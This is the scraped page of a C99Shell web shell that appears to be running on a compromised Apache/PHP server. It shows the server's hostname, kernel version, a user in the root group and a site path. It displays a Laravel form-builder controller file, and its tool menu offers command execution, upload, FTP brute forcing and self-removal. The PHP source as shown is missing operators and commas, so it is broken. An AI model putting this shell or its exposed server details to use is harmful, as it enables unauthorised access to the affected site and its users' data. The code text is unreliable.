!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/FormBuilder/Http/Controllers/   drwxr-xr-x
Free 26.32 GB of 117.98 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RenderFormController.php (4.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\FormBuilder\Http\Controllers;

use 
App\Http\Controllers\Controller;
use 
Modules\FormBuilder\Services\Helper;
use 
Modules\FormBuilder\Entities\Form;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Modules\FormBuilder\Entities\Submission;
use 
Throwable;

class 
RenderFormController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
$this->middleware('public-form-access');
    }

    
/**
     * Render the form so a user can fill it
     *
     * @param string $identifier
     * @return Response
     */
    
public function render($identifier)
    {
        
$form Form::where('identifier'$identifier)->firstOrFail();
        if (
$form->allows_edit == 0) {
            return 
view('formbuilder::render.index'compact('form'));
        }

        
$user auth()->id();

        if (!
$user) {
            return 
view('formbuilder::render.index'compact('form'));
        }
        
$submission Submission::where('form_id'$form->id)->where('user_id'$user)->first();

        if (!
$submission) {
            return 
view('formbuilder::render.index'compact('form'));
        }
        
$form_headers $submission->form->getEntriesHeader();

        
$submission->loadSubmissionIntoFormJson();

        return 
view('formbuilder::render.edit'compact('submission''form_headers''form'));
    }

    
/**
     * Process the form submission
     *
     * @param Request $request
     * @param string $identifier
     * @return Response
     */
    
public function submit(Request $request$identifier)
    {
        
$form Form::where('identifier'$identifier)->firstOrFail();
        
$submission null;
        if (
auth()->id() && $form->allows_edit == 0) {
            
$submission Submission::where('form_id'$form->id)->where('user_id'auth()->id())->first();
        }

        
DB::beginTransaction();

        try {
            
$input $request->except('_token');
            
// check if files were uploaded and process them
            
$uploadedFiles $request->allFiles();
            foreach (
$uploadedFiles as $key => $file) {
                
// store the file and set it's path to the value of the key holding it
                
$validate \Validator::make($request->all(), [
                    
$key => 'max:1024',
                ])->
fails();

                if (
$validate) {
                    throw new 
\Exception(__("File size must be less than 1MB"));
                }

                if (
$file->isValid()) {
                    
$input[$key] = $file->store('form', ['disk' => 'public-folder']);
                }
            }

            if (
$submission) {
                
$submission->loadSubmissionIntoFormJson();

                
$files $submission->form->form_builder_json->where('type''file')->pluck('value''name');
                
// Fill the empty fields with the existing previous data
                
foreach ($files as $key => $value) {
                    if (!isset(
$input[$key])) {
                        
$input[$key] = $value;
                    }
                }
            }

            
$user_id auth()->user()->id ?? null;

            if (
$user_id) {
                
Submission::updateOrCreate(['form_id' => $form->id'user_id' => $user_id], [
                    
'user_id' => $user_id,
                    
'content' => $input,
                ]);
            } else {
                
$form->submissions()->create([
                    
'user_id' => $user_id,
                    
'content' => $input,
                ]);
            }

            
DB::commit();

            return 
redirect()
                ->
route('formbuilder::form.feedback'$identifier)
                ->
with('success'__('Form successfully submitted.'));
        } catch (
Throwable $e) {
            
info($e);
            
DB::rollback();
            return 
back()->withInput()->withErrors(['msg' => $e->getMessage()]);
        }
    }

    
/**
     * Display a feedback page
     *
     * @param string $identifier
     * @return Response
     */
    
public function feedback($identifier)
    {
        
$form Form::where('identifier'$identifier)->firstOrFail();

        
$pageTitle __("Form Submitted!");

        return 
view('formbuilder::render.feedback'compact('form''pageTitle'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0185 ]--